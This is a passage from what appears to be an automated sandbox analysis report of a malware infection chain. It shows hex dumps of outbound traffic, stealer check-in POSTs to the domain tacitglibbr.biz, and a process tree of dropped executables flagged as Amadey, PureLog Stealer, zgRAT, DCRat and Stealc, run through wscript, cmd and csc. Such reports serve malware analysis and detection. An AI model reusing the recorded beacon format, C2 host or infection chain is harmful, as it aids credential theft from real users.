2e 2e 1b 4f 9f 39 39 14 fb 70 32 2a Data Ascii: n~&76g m\|apJY'sv$E.#-4b_9JK)IhCH{mn#pYJ?W#sn3^<<Hvp+R0R%;kAe&72KHUP3\|>_}5%N[zfY]R0%PoRX_cn_$z1WBq..O99p2
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: d7 f2 23 03 54 72 5f 54 13 e6 7a bd f0 a2 8d 44 41 ee 2e 41 e0 73 2a dd 7e cb 90 69 cc 8c 38 18 32 ea 58 13 24 26 ea b3 fc 44 61 8f 3d 3f cc 80 88 76 bd 12 49 e9 12 5c 90 fb 15 1f 1e 50 b6 18 af 26 2e 94 a9 32 98 81 79 28 0b 6a 0d 0f 08 28 f4 3f 31 35 a2 95 d9 9c b3 76 4c 2f 47 16 cf 24 36 fd 39 96 f5 46 15 45 29 58 a7 c8 11 8e d8 75 1c 09 86 38 07 a4 72 66 68 76 f5 4a 39 7b 41 eb 33 58 c2 54 a9 3a c5 cc 20 d4 20 16 61 1b 99 8a 20 f8 08 2f 2a bd aa 46 05 4a ad 76 c9 86 9e 14 31 d3 fe 64 19 6d 22 b3 7e 5e 2f 4b 84 27 4f 4f 6a 79 98 bd 5f 8c fb 1c 96 9d 30 37 36 e6 2f 9d d1 d0 f5 45 3f 44 39 23 bd c6 04 1d ac 57 d3 27 1d 3d bf 47 e8 ea 67 8d 3e 4a 78 88 9f f4 95 cf 5a f5 69 a1 46 82 ec 69 21 a2 2e d4 a3 1f 06 07 37 2f 33 8c 25 00 3e 99 02 42 ab c4 d6 3e f8 Data Ascii: #Tr_TzDA.As~i82X$&Da=?vI\P&.2y(j(?15vL/G$69FE)Xu8rfhvJ9{A3XT: a /FJv1dm"~^/K'OOjy_076/E?D9#W'=Gg>JxZiFi!.7/3%>B>
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: 9d 71 fc 5a a7 46 32 c5 81 ea ea f5 d1 a9 5e 44 14 50 83 c7 3a 1e fd 38 2c 68 71 b8 4d f0 b0 b4 fa 3f ef a5 35 4e bd 57 76 48 3d 47 58 f1 3d b6 12 ed fb 99 d0 70 eb 9f 41 e5 97 54 a5 ce 99 63 75 2d 42 c4 ec 01 d6 46 dc 48 bf 45 a2 33 6e be fc 75 39 8d bd dd f5 21 73 f6 b8 62 be cd ea 86 98 30 a0 de 1e 8e 55 7a be 6c ee b0 f6 27 71 27 0a 24 73 57 5b 90 81 3d be 13 63 8f 8c 7d 83 6e 9d 48 a1 28 71 d8 8d 84 a5 34 ee 27 2e 3b 68 0b e2 bf d4 85 e1 35 c5 c1 29 47 d3 de fd 6a 52 08 59 12 92 69 b0 0b dd 03 4c 6b 43 20 f4 20 36 fc ed 3e e3 e4 13 17 6f ef 92 bd 94 5c 22 30 1c 34 a8 3d 7a f5 f4 20 4e 5a 4a ab 26 c0 55 d7 62 fe a9 a2 ba a9 e3 5e 60 c3 9d 9c e7 19 41 b7 f9 fe 0b b5 3d 9b 71 6c a5 42 27 43 78 95 74 75 c8 51 a2 f3 20 df 67 9f 46 74 d1 bc e5 e5 e0 72 be Data Ascii: qZF2^DP:8,hqM?5NWvH=GX=pATcu-BFHE3nu9!sb0Uzl'q'$sW[=c}nH(q4'.;h5)GjRYiLkC 6>o\"04=z NZJ&Ub^`A=qlB'CxtuQ gFtr
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: c6 8b 7b c2 14 f4 5c c5 a6 21 2a fa 4e 5e fd 59 b2 fd 22 b4 fa 12 b5 bf 7e 98 0c 31 b4 ed ab 72 ae ac 6e 3c e9 0e 74 34 0a fc 7e 1b 05 10 9c b9 49 7e 9d 4a e6 7a 85 1f 3f 74 be 03 41 76 ee f7 d4 55 6f 8c 0e 30 71 2f f8 18 d6 3d 9d 61 f4 9e fc 76 d2 6f 65 b0 07 19 d4 dd 06 79 42 59 cd 19 8b 12 ce ee 19 ac b5 73 cc 2b 74 fa b3 e1 7d af a1 36 70 48 05 16 01 0a 8b 89 7f 06 64 2a a0 4f a5 52 f2 b4 7b de 5c 9b 3e 9e 1f 70 1b 13 98 ad 15 f8 fc 48 48 9f ff 93 69 56 f2 12 cd c3 78 ea 56 e1 cd 99 8d 7f ed d1 23 8f 26 7a 90 bd fe 21 99 21 d3 41 d9 b1 57 1d be d4 29 b5 dc c6 f8 dc 2f 30 97 6d 8b bf b8 21 c9 bc 64 1c 97 28 34 16 2e 53 34 2c bd b1 7d 6d e6 77 fb f5 4c ce 8b 99 45 92 7a 1b 34 01 66 e4 f9 5b 51 2f fc 52 40 b2 a4 5b 22 84 c1 30 1c 53 c7 e9 6e bf d6 6c 90 Data Ascii: {\!N^Y"~1rn<t4~I~Jz?tAvUo0q/=avoeyBYs+t}6pHdOR{\>pHHiVxV#&z!!AW)/0m!d(4.S4,}mwLEz4f[Q/R@["0Snl
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: fa a8 e2 57 6e b8 89 37 71 93 88 2e 95 7f 5a c5 9b 24 db ea 9b cc d3 ca b1 36 37 0a 6d fc 55 ca 34 67 2d 1b 75 33 3f f8 85 3e 58 78 3a 93 7c 81 60 84 c0 af 2a f3 3c c7 45 5e 88 16 e6 90 a3 19 29 ac 77 1a 23 dc 05 dc c4 d3 0b 6b 9f 59 bf 28 84 b6 22 59 c6 13 98 ac cd fb 78 3f ea 85 83 8e ec c2 9c a5 dd bb d8 50 a7 ef 9a 85 65 68 77 dc 3c 52 f6 d4 ea fa be 32 fb fa f3 70 7c cf c2 53 b5 a4 c1 38 f9 e7 87 7b 5c c7 aa 91 0b f6 ed 45 2e 2d 1e a3 e7 a8 8a 0d 31 69 16 ed fe e7 9e eb 3b 64 44 2b aa 94 cd 98 79 74 3a 79 20 df 6d 89 9e a0 4a f3 fe ad 17 d5 87 6d 59 59 cd b7 f9 28 86 d4 82 dd 04 57 72 4d 4d 48 8c d1 e2 29 a8 30 23 59 0f 22 3b 24 e3 fc aa 6d 86 63 fc 22 0f 90 e9 5f d9 16 d2 4d 6b 3a 64 35 32 b1 b3 b8 3d aa b7 a2 12 2d a3 2a a5 31 6d 5e 29 b1 18 8a 90 Data Ascii: Wn7q.Z$67mU4g-u3?>Xx:\|`<E^)w#kY("Yx?Pehw<R2p\|S8{\E.-1i;dD+yt:y mJmYY(WrMMH)0#Y";$mc"_Mk:d52=-1m^)
2024-12-16 12:17:38 UTC	15331	OUT	Data Raw: 95 fd a0 40 62 89 88 dc 48 9c 00 cb 46 6c 7b 0f 4e ef 66 7c c6 42 4b c8 80 dd 7b e2 f3 7a 59 44 1f 56 57 bd 3a 61 ed f2 40 77 a4 c5 ec f7 9a 7b d6 b0 f0 92 fc ca 85 45 4c 97 3c ab d4 6b c0 d4 13 43 5c e5 ad f5 b7 98 06 d6 6f 4b af 5a ab 33 66 bd e5 67 fb 39 06 63 83 e6 32 4d 0c 8d 23 e0 79 0d 1c aa 8e ef ca 5d e4 07 5c e9 1a ae 88 9f d8 aa 0f 48 81 5f fb af 34 cb 3d 09 24 71 bb 49 95 a6 cd d5 93 e1 7a e3 5b 03 b3 e5 92 ca 9b 37 ec 03 83 3e 0d 06 8e d6 55 18 d2 c2 5f f8 7d fe 56 01 db bf 2c 86 f4 89 6b 15 0c 9e 28 a0 7e d8 c5 e3 e5 cf 57 0e 1f 5e 66 7a e1 de 53 7b 85 d5 05 b8 8c 24 01 5c d9 4f 48 43 e3 03 9f aa 06 df c4 8c 1d 03 71 f2 54 41 74 35 37 e6 21 84 95 3f 4f d7 44 0a 03 26 02 07 74 5a 01 d1 9d ae 2e 08 f0 e2 21 b9 b7 c9 b5 1b 67 e7 dd c7 48 a6 2f Data Ascii: @bHFl{Nf\|BK{zYDVW:a@w{EL<kC\oKZ3fg9c2M#y]\H_4=$qIz[7>U_}V,k(~W^fzS{$\OHCqTAt57!?OD&tZ.!gH/
2024-12-16 12:17:40 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=901gv40dgj4ikorm9lel9251o9; expires=Fri, 11-Apr-2025 06:04:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0bcIfF511sgoUU1xdRgWLMP%2BZqh5iIVRC8M%2BmlWP7D4SWOkRSsPHmPPkdUZNkuCLINu6Dv7pRETcuGNmCotqbGQtd8VIgUEkQD0Fy8wrS5DvzWvOuQgezb8m1GqWY6%2FlCFo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c87ddd5433d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1736&min_rtt=1734&rtt_var=655&sent=353&recv=598&lost=0&retrans=0&sent_bytes=2840&recv_bytes=573740&delivery_rate=1665715&cwnd=252&unsent_bytes=0&cid=4ce151173f4d96f0&ts=2468&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	50038	172.67.164.37	443	4232	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:17:42 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 12:17:42 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 32 35 44 33 42 42 30 35 30 31 45 46 33 45 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=25D3BB0501EF3E98AC8923850305D13E
2024-12-16 12:17:42 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=904sc9d6jb8b6m6vtb7vujplr4; expires=Fri, 11-Apr-2025 06:04:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vg3UPKziN6G3RUH9UpXLEtbtUdLppy8ErVauSK5NdHM3QBz7bGM7L43CH4Usltb1YxrhHfeYiIjuXc%2BRqsI%2BLOun8eDmpsxx8szhCb9OwgxJ3B9ue3eZYiMDF8xRuHM11lA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9ca0dd9e43f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&min_rtt=1713&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=981&delivery_rate=1593016&cwnd=207&unsent_bytes=0&cid=784d8144e479d1d5&ts=725&x=0"
2024-12-16 12:17:42 UTC	214	IN	Data Raw: 64 30 0d 0a 39 78 70 38 55 48 57 64 53 72 75 65 56 6c 44 6f 78 31 75 2b 66 77 72 6e 42 4f 38 53 78 56 4d 39 67 55 49 38 6c 47 6d 63 65 34 6d 73 59 56 34 6c 56 36 64 6f 30 2b 6f 69 49 4e 4b 62 64 4f 4a 51 4f 39 38 78 77 53 44 30 5a 68 4f 77 63 77 2b 36 57 4b 6f 6e 70 70 68 38 47 67 78 61 2b 53 2f 64 73 44 4d 6f 6a 65 56 33 6e 42 6c 2b 78 54 37 66 50 75 63 32 48 37 74 79 51 62 67 53 76 67 36 72 7a 54 67 55 4a 41 48 74 63 4f 65 78 43 6e 2f 5a 2f 32 36 51 54 54 76 53 4b 74 34 6a 39 6e 30 4d 74 78 34 54 35 78 33 35 47 75 53 72 4e 51 34 78 47 2f 6b 6c 31 72 41 7a 4b 49 33 6c 64 35 77 5a 66 73 55 2b 33 7a 37 6e 4e 68 2b 37 63 6b 48 4a 0d 0a Data Ascii: d09xp8UHWdSrueVlDox1u+fwrnBO8SxVM9gUI8lGmce4msYV4lV6do0+oiINKbdOJQO98xwSD0ZhOwcw+6WKonpph8Ggxa+S/dsDMojeV3nBl+xT7fPuc2H7tyQbgSvg6rzTgUJAHtcOexCn/Z/26QTTvSKt4j9n0Mtx4T5x35GuSrNQ4xG/kl1rAzKI3ld5wZfsU+3z7nNh+7ckHJ
2024-12-16 12:17:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:15:05
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xce0000
File size:	3'004'928 bytes
MD5 hash:	842E251CA1E3A812356248EBE8154F16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1550039277.0000000005330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:15:08
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x970000
File size:	3'004'928 bytes
MD5 hash:	842E251CA1E3A812356248EBE8154F16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1585485486.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:15:09
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x970000
File size:	3'004'928 bytes
MD5 hash:	842E251CA1E3A812356248EBE8154F16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1597940667.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:16:00
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x970000
File size:	3'004'928 bytes
MD5 hash:	842E251CA1E3A812356248EBE8154F16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2092338241.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:16:15
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe"
Imagebase:	0xba0000
File size:	2'283'768 bytes
MD5 hash:	B5A1474FCB8F7B9809D52546BD304AF3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000003.2226055818.0000000006A74000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000003.2226609838.0000000007387000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:16:15
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe"
Imagebase:	0x700000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:16:23
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe"
Imagebase:	0x9e0000
File size:	1'834'496 bytes
MD5 hash:	6C1D0DABE1EC5E928F27B3223F25C26B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:16:31
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe"
Imagebase:	0x3e0000
File size:	1'877'504 bytes
MD5 hash:	259EB5422D10FD32691E5D0B5585BC0E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:16:39
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Bridgecontainerserver\SlMo.bat" "
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:16:39
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:16:39
Start date:	16/12/2024
Path:	C:\Bridgecontainerserver\BrokerhostNet.exe
Wow64 process (32bit):	false
Commandline:	"C:\Bridgecontainerserver/BrokerhostNet.exe"
Imagebase:	0xee0000
File size:	1'961'984 bytes
MD5 hash:	0F91548CA49C64D6A8CD3846854F484C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000000.2464502971.0000000000EE2000.00000002.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000010.00000002.2680511643.0000000013557000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Bridgecontainerserver\BrokerhostNet.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Bridgecontainerserver\BrokerhostNet.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:16:40
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe"
Imagebase:	0x180000
File size:	1'822'720 bytes
MD5 hash:	E328245A28E6A2CDB14BDE4D150A342E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000003.2493573409.0000000005290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	07:16:45
Start date:	16/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline"
Imagebase:	0x7ff7efa40000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:16:45
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:16:45
Start date:	16/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD666.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP"
Imagebase:	0x7ff665b40000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:16:47
Start date:	16/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.cmdline"
Imagebase:	0x7ff7efa40000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:16:47
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:16:47
Start date:	16/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBB5.tmp" "c:\Users\user\AppData\Local\Temp\1016093001\CSCF52E109CF7C34EE59E7558C84C69E5BD.TMP"
Imagebase:	0x7ff665b40000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:16:47
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe"
Imagebase:	0x5a0000
File size:	4'608 bytes
MD5 hash:	7B7176E37C70F8B4A9E81F418635E428
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:16:47
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe"
Imagebase:	0xb10000
File size:	969'728 bytes
MD5 hash:	F0367D03A91E16273B989532829233A6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:16:48
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe"
Imagebase:	0x3e0000
File size:	1'877'504 bytes
MD5 hash:	259EB5422D10FD32691E5D0B5585BC0E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2958265937.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2957089920.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2989174141.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2900363212.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2962946644.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2957786310.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2917030280.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	07:16:48
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Imagebase:	0x500000
File size:	1'961'984 bytes
MD5 hash:	0F91548CA49C64D6A8CD3846854F484C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe, Author: Joe Security
Antivirus matches:	Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:16:50
Start date:	16/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
